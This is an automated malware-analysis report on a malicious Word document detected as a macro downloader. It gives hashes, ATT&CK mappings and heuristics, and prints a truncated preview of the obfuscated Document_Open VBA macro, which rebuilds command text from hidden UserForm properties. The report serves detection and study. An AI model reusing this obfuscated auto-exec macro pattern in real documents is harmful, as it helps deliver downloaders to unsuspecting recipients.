Office (OLE) malware analysis — malicious · fcbe8dceec3ca324

MALICIOUS

Office (OLE)

207.2 KB Created: 2019-12-19 13:14:00 Authoring application: Microsoft Office Word First seen: 2020-05-25

MD5: 276bccc9755d2fc65eb39bd4781c3bc6 SHA-1: 00691e2aefc344335de1b5de07a7bc328f484e65 SHA-256: fcbe8dceec3ca324be7d14376abb5562108661877116fad12ffa8f092aba7029

302 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro that utilizes CreateObject and GetObject calls. Critical heuristics indicate a hidden UserForm property is used as a command stager, a common technique for downloading and executing further malicious content. ClamAV also detected it as a downloader. The presence of VBA macros suggests it was likely delivered as a spearphishing attachment.

Heuristics 8

ClamAV: Doc.Downloader.Sagent-7465571-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Sagent-7465571-0
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13399 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13399 bytes
SHA-256: `fdf8f97745197c4d62169fb985314073bfc95747e1cc272bce8e1bbb2f4159ea`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Mqntrjzr" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Rqcfdmbnjkzx, 0, 0, MSForms, TextBox" Private Sub Document_open() Ftalsqhte = "Eleanor" Dim Nshwfnzhai As Double Dim Entwbpevwv As String Gdicljkeax = ("Nemo sapiente qui sint nihil.") Dim Uyxdcdwywjv As Integer Dim Ugeafnrzypcfx As Double Dim Xejggdbcsbs As Boolean Vlwhkcrcgevkp = Jvxfifbsaprw Dim Lymtrdnsu As String Enqznvrngswd = ("Dicta et.") Dim Uttwstgyyv As Boolean Dim Qxmirbcldr As String Dim Ntzimmouzixk As Double Cbnfpvueetbxb = "Annie" Dim Bhciajyt As Boolean Dim Mglkiacovz As Boolean Dim Ycpyioghokttx As Boolean Btmdipsdpjuw = ("Mario") Dim Jfwzeiasbajnr As Integer Nrnggavi = 460 Igyaposmiefw = Stirmtuytccr Myowbgwcbsm = 687 Xffgshfzv Fiwekbnwq = "Vitae itaque." Dim Trxspjpefe As Double Dim Yerdogkj As Double Uxfzfnvh = ("Repellendus enim consequatur earum aperiam soluta enim voluptas.") Dim Aokdpxxuf As Boolean Dim Atexzsyyqfmx As Double Dim Znqdbiyzdckuo As Boolean Iqdshtdacgu = Ncorrgpkh Dim Nvaqcnfd As String Ioieldwnn = ("Et in.") Dim Lplantdiy As Integer Dim Aaflsnxo As Double Dim Nafogmfdtwt As String Cfppptcvlbhnh = "Exercitationem odit ratione quam." Dim Kipzwqxpfmggx As Boolean Dim Jgiddgdyi As Integer Dim Vbyxazogskguv As Boolean Qjcinfqg = ("Et.") Dim Fevtgkhe As Integer Wqimhsrmucmm = 870 Ptwahtfugwvus = Zzqxkhzbqa Dmposgwemoh = 142 End Sub Attribute VB_Name = "Dcidxrdaez" Attribute VB_Base = "0{EFE2B6F1-BEC6-45AC-AAD8-11E7347F3C89}{4DFA5774-45A8-4D05-8B5D-49DDED00E2F8}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Fhchyttpxme" Function Kneunawqkm() Owuwkujev = "Quo ut maiores non." Dim Ygmbnpvojixu As Integer Dim Ihbaalpsi As String Cxpxtjtak = ("Voluptates eum.") Dim Ifmccyqvqbhoc As Boolean Dim Dvedfyiwl As Integer Dim Qpzeucwmy As Boolean Xjrcmmduinl = Xvhgxaibl Dim Awlhfspnk As Boolean Vldlvsqisfdsg = ("Eaque quo.") Dim Poynmmnjbqav As String Dim Yxbraavcmeq As Integer Dim Dbwdfikc As Integer Wckhcbuuxct = "A voluptatem." Dim Cbgxzncux As Boolean Dim Jhfnvmemxj As String Dim Qttarjtijju As Integer Yllpyuya = ("Et repudiandae voluptatem ipsam.") Dim Uwhzkygwyxmqe As Double Kletbznklx = 327 Xzpgoquzejki = Nvxoigfc Ugxygmwbif = 856 Kenzlscojry = Mqntrjzr.Rqcfdmbnjkzx Nltietnvmnghh = "Et qui neque." Dim Cjjeypcs As String Dim Hsuiqbnifqdn As Double Wzxjqxmzfd = ("Ipsum mollitia labore eligendi qui.") Dim Fvciltypxbt As Integer Dim Mtzckyodahyst As Double Dim Gimqfcvrgwfko As Integer Vgkndenwuf = Fndqsqbjpo Dim Tqbtfeoao As String Shfyttlslr = ("Dolor ratione id incidunt.") Dim Dcgntngvhcc As Double Dim Ctqprnwqbk As Boolean Dim Riqevrqcax As String Rumisfpfllqzu = "Kim" Dim Dvzcrxbbfprl As Double Dim Rledqywbox As String Dim Dagrqjtxngbv As Integer Qsgsbuet = ("Soluta vel.") Dim Mwdexcgbgwuav As Double Irnylkjeoieuw = 171 Qkggfufp = Aaocipxsss Uipcrpwthke = 207 Mzermbcby = Kenzlscojry + Dcidxrdaez.Ofchopyuvb + Dcidxrdaez.Tyffamujbehu + Dcidxrdaez.Jqzrqtws Zyizltmhpux = "Possimus voluptatem dolores porro." Dim Fseyjclcqvxb As Double Dim Mafnnsleglwnn As Double Tmmosdlez = ("Reiciendis qui.") Dim Dmjclytuzhj As Integer Dim Pjaltbwpvw As Double Dim Knyvbwgxyo As Double Ezyusqyjecyi = Kxtziqmtakuzy Dim Jkblfhtc As Double Eymdipqsbliez = ("Et.") Dim Jkyoztsmg As Double Dim Wxxsruqcdszq As Boolean Dim Ehxauflvdwxv As Double Dmlgiqss = "Dale" Dim Tnnxcpjugt As Boolean Dim Vmlpgbubvw As Double Dim Yqhthbclnng As Double Osnmcouhsryu = ("Nicholas") Dim Qysoxhzymi As String Erjyhgfysjg = 734 Hlggyjzorlnu = Yrpffwpkcx Spurhscvqw = 714 Fdcgjkmf = Mzermbcby + Dcidxrdaez.Dbygcifqz + Dcidxrdaez.Xb ... (truncated)

SHA-256: fdf8f97745197c4d62169fb985314073bfc95747e1cc272bce8e1bbb2f4159ea

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Mqntrjzr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Rqcfdmbnjkzx, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Ftalsqhte = "Eleanor"
Dim Nshwfnzhai As Double
Dim Entwbpevwv As String
Gdicljkeax = ("Nemo sapiente qui sint nihil.")
Dim Uyxdcdwywjv As Integer
Dim Ugeafnrzypcfx As Double
Dim Xejggdbcsbs As Boolean
Vlwhkcrcgevkp = Jvxfifbsaprw
Dim Lymtrdnsu As String
Enqznvrngswd = ("Dicta et.")
Dim Uttwstgyyv As Boolean
Dim Qxmirbcldr As String
Dim Ntzimmouzixk As Double
Cbnfpvueetbxb = "Annie"
Dim Bhciajyt As Boolean
Dim Mglkiacovz As Boolean
Dim Ycpyioghokttx As Boolean
Btmdipsdpjuw = ("Mario")
Dim Jfwzeiasbajnr As Integer
Nrnggavi = 460
Igyaposmiefw = Stirmtuytccr
Myowbgwcbsm = 687
Xffgshfzv
   Fiwekbnwq = "Vitae itaque."
Dim Trxspjpefe As Double
Dim Yerdogkj As Double
Uxfzfnvh = ("Repellendus enim consequatur earum aperiam soluta enim voluptas.")
Dim Aokdpxxuf As Boolean
Dim Atexzsyyqfmx As Double
Dim Znqdbiyzdckuo As Boolean
Iqdshtdacgu = Ncorrgpkh
Dim Nvaqcnfd As String
Ioieldwnn = ("Et in.")
Dim Lplantdiy As Integer
Dim Aaflsnxo As Double
Dim Nafogmfdtwt As String
Cfppptcvlbhnh = "Exercitationem odit ratione quam."
Dim Kipzwqxpfmggx As Boolean
Dim Jgiddgdyi As Integer
Dim Vbyxazogskguv As Boolean
Qjcinfqg = ("Et.")
Dim Fevtgkhe As Integer
Wqimhsrmucmm = 870
Ptwahtfugwvus = Zzqxkhzbqa
Dmposgwemoh = 142
End Sub

Attribute VB_Name = "Dcidxrdaez"
Attribute VB_Base = "0{EFE2B6F1-BEC6-45AC-AAD8-11E7347F3C89}{4DFA5774-45A8-4D05-8B5D-49DDED00E2F8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Fhchyttpxme"
Function Kneunawqkm()
   Owuwkujev = "Quo ut maiores non."
Dim Ygmbnpvojixu As Integer
Dim Ihbaalpsi As String
Cxpxtjtak = ("Voluptates eum.")
Dim Ifmccyqvqbhoc As Boolean
Dim Dvedfyiwl As Integer
Dim Qpzeucwmy As Boolean
Xjrcmmduinl = Xvhgxaibl
Dim Awlhfspnk As Boolean
Vldlvsqisfdsg = ("Eaque quo.")
Dim Poynmmnjbqav As String
Dim Yxbraavcmeq As Integer
Dim Dbwdfikc As Integer
Wckhcbuuxct = "A voluptatem."
Dim Cbgxzncux As Boolean
Dim Jhfnvmemxj As String
Dim Qttarjtijju As Integer
Yllpyuya = ("Et repudiandae voluptatem ipsam.")
Dim Uwhzkygwyxmqe As Double
Kletbznklx = 327
Xzpgoquzejki = Nvxoigfc
Ugxygmwbif = 856
Kenzlscojry = Mqntrjzr.Rqcfdmbnjkzx
   Nltietnvmnghh = "Et qui neque."
Dim Cjjeypcs As String
Dim Hsuiqbnifqdn As Double
Wzxjqxmzfd = ("Ipsum mollitia labore eligendi qui.")
Dim Fvciltypxbt As Integer
Dim Mtzckyodahyst As Double
Dim Gimqfcvrgwfko As Integer
Vgkndenwuf = Fndqsqbjpo
Dim Tqbtfeoao As String
Shfyttlslr = ("Dolor ratione id incidunt.")
Dim Dcgntngvhcc As Double
Dim Ctqprnwqbk As Boolean
Dim Riqevrqcax As String
Rumisfpfllqzu = "Kim"
Dim Dvzcrxbbfprl As Double
Dim Rledqywbox As String
Dim Dagrqjtxngbv As Integer
Qsgsbuet = ("Soluta vel.")
Dim Mwdexcgbgwuav As Double
Irnylkjeoieuw = 171
Qkggfufp = Aaocipxsss
Uipcrpwthke = 207
Mzermbcby = Kenzlscojry + Dcidxrdaez.Ofchopyuvb + Dcidxrdaez.Tyffamujbehu + Dcidxrdaez.Jqzrqtws
   Zyizltmhpux = "Possimus voluptatem dolores porro."
Dim Fseyjclcqvxb As Double
Dim Mafnnsleglwnn As Double
Tmmosdlez = ("Reiciendis qui.")
Dim Dmjclytuzhj As Integer
Dim Pjaltbwpvw As Double
Dim Knyvbwgxyo As Double
Ezyusqyjecyi = Kxtziqmtakuzy
Dim Jkblfhtc As Double
Eymdipqsbliez = ("Et.")
Dim Jkyoztsmg As Double
Dim Wxxsruqcdszq As Boolean
Dim Ehxauflvdwxv As Double
Dmlgiqss = "Dale"
Dim Tnnxcpjugt As Boolean
Dim Vmlpgbubvw As Double
Dim Yqhthbclnng As Double
Osnmcouhsryu = ("Nicholas")
Dim Qysoxhzymi As String
Erjyhgfysjg = 734
Hlggyjzorlnu = Yrpffwpkcx
Spurhscvqw = 714
Fdcgjkmf = Mzermbcby + Dcidxrdaez.Dbygcifqz + Dcidxrdaez.Xb
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.